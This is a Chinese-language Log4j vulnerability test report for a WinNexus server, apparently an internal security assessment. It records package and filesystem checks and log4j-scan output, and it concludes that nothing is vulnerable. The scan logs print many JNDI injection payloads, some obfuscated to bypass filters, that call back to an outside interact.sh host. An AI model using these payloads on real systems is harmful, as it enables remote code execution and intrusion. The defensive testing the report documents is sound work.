# WinNexus server log4j 弱點測試報告

## 一、 檢查是否安裝或啟用 log4j

◆ 使用工具：作業系統套件管理器查詢。

```
winnexus@nexus-server:~$ yum list installed | grep log4j
winnexus@nexus-server:~$
```

```
winnexus@nexus-server:~$ yum list extra | grep log4j
Error: No matching Packages to list
winnexus@nexus-server:~$
```

◆ 檢查結果：無安裝。

## 二、 第三方工具檢查硬碟上是否存在 log4j 實體

◆ 使用工具：check-log4j。

◆ 說　　明：檢查系統中是否存在 JndiLookup.class，且可能為尚未修補的版本。

```
winnexus@nexus-server:~/check-log4j$ check-log4j -v -v -v -v
=> Running all checks...
==> Checking for vulnerable packages...
====> Checking rpms...
==> Looking for jars...
===> Checking running processes...
===> Searching for jars/wars on the filesystem...
====> Running 'find  / '...
===> Searching for JndiLookup.class on the filesystem...
check-log4j 1.9 nexus-server: No obvious indicators of vulnerability found.
```

◆ 檢查結果：無疑似弱點。

## 三、 第三方工具檢查透過 URL 是否有攻擊可能

◆ 使用工具：log4j-tools。

◆ 說　　明：透過傳送 CVE-2021-44228與 CVE-2021-45046的攻擊測試指令至 WinNexus web 介面的各個可能路徑 GET/POST 動作，檢查是否有可受攻擊的弱點。

**1.** CVE-2021-44228

```
(venv) PS C:\Users\Admin\Desktop\log4j-scan> python .\log4j-scan.py -l ..\allroutes.txt --run-all-test --waf-bypass
 [32m[• ] CVE-2021-44228 - Apache Log4j RCE Scanner [0m
 [33m[• ] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform. [0m
 [33m[• ] Secure your External Attack Surface with FullHunt.io. [0m
[• ] Initiating DNS callback server (interact.sh). [0m
 [35m[%] Checking for Log4j RCE CVE-2021-44228. [0m
 [35m[• ] URL: http://192.168.1.89/_debugbar/open [0m
```

```
 [35m[• ] URL: http://192.168.1.89/server/ [0m
 [36m[• ] URL: http://192.168.1.89/server/ | PAYLOAD: ${jndi:ldap://192.168.1.89.2mrs67e7f3634994uvnsv29su724n505s.interact.sh/jkkhi1g} [0m
 [36m[• ] URL: http://192.168.1.89/server/ | PAYLOAD: ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://192.168.1.89.2mrs67e7f3634994uvnsv29su724n505s.interact.sh/jkkhi1g} [0m
 [36m[• ] URL: http://192.168.1.89/server/ | PAYLOAD: ${${::-j}ndi:rmi://192.168.1.89.2mrs67e7f3634994uvnsv29su724n505s.interact.sh/jkkhi1g} [0m
 [36m[• ] URL: http://192.168.1.89/server/ | PAYLOAD: ${jndi:rmi://192.168.1.89.2mrs67e7f3634994uvnsv29su724n505s.interact.sh} [0m
 [36m[• ] URL: http://192.168.1.89/server/ | PAYLOAD: ${${lower:jndi}:${lower:rmi}://192.168.1.89.2mrs67e7f3634994uvnsv29su724n505s.interact.sh/jkkhi1g} [0m
 [36m[• ] URL: http://192.168.1.89/server/ | PAYLOAD: ${${lower:${lower:jndi}}:${lower:rmi}://192.168.1.89.2mrs67e7f3634994uvnsv29su724n505s.interact.sh/jkkhi1g} [0m
 [36m[• ] URL: http://192.168.1.89/server/ | PAYLOAD: ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://192.168.1.89.2mrs67e7f3634994uvnsv29su724n505s.interact.sh/jkkhi1g} [0m
 [36m[• ] URL: http://192.168.1.89/server/ | PAYLOAD: ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://192.168.1.89.2mrs67e7f3634994uvnsv29su724n505s.interact.sh/jkkhi1g} [0m
 [36m[• ] URL: http://192.168.1.89/server/ | PAYLOAD: ${jndi:dns://192.168.1.89.2mrs67e7f3634994uvnsv29su724n505s.interact.sh} [0m
 [36m[• ] Payloads sent to all URLs. Waiting for DNS OOB callbacks. [0m
 [36m[• ] Waiting... [0m
 [32m[• ] Targets does not seem to be vulnerable. [0m
(venv) PS C:\Users\Admin\Desktop\log4j-scan>
```

**2.** CVE-2021-45046

```
(venv) PS C:\Users\Admin\Desktop\log4j-scan> python .\log4j-scan.py -l ..\allroutes.txt --test-CVE-2021-45046
 [32m[• ] CVE-2021-44228 - Apache Log4j RCE Scanner [0m
 [33m[• ] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform. [0m
 [33m[• ] Secure your External Attack Surface with FullHunt.io. [0m
[• ] Initiating DNS callback server (interact.sh). [0m
 [35m[%] Checking for Log4j RCE CVE-2021-44228. [0m
```

```
 [33m[• ] Scanning for CVE-2021-45046 (Log4j v2.15.0 Patch Bypass - RCE) [0m
 [36m[• ] URL: http://192.168.1.89/server/ | PAYLOAD: ${jndi:ldap://127.0.0.1#192.168.1.89.r1r506q4s6gu41nlv084gl0191v81a43t.interact.sh:1389/d24hj0v} [0m
 [36m[• ] URL: http://192.168.1.89/server/ | PAYLOAD: ${jndi:ldap://127.0.0.1#192.168.1.89.r1r506q4s6gu41nlv084gl0191v81a43t.interact.sh/d24hj0v} [0m
 [36m[• ] URL: http://192.168.1.89/server/ | PAYLOAD: ${jndi:ldap://127.1.1.1#192.168.1.89.r1r506q4s6gu41nlv084gl0191v81a43t.interact.sh/d24hj0v} [0m
 [36m[• ] Payloads sent to all URLs. Waiting for DNS OOB callbacks. [0m
 [36m[• ] Waiting... [0m
 [32m[• ] Targets does not seem to be vulnerable. [0m
(venv) PS C:\Users\Admin\Desktop\log4j-scan>
```

◆ 檢查結果：無疑似弱點。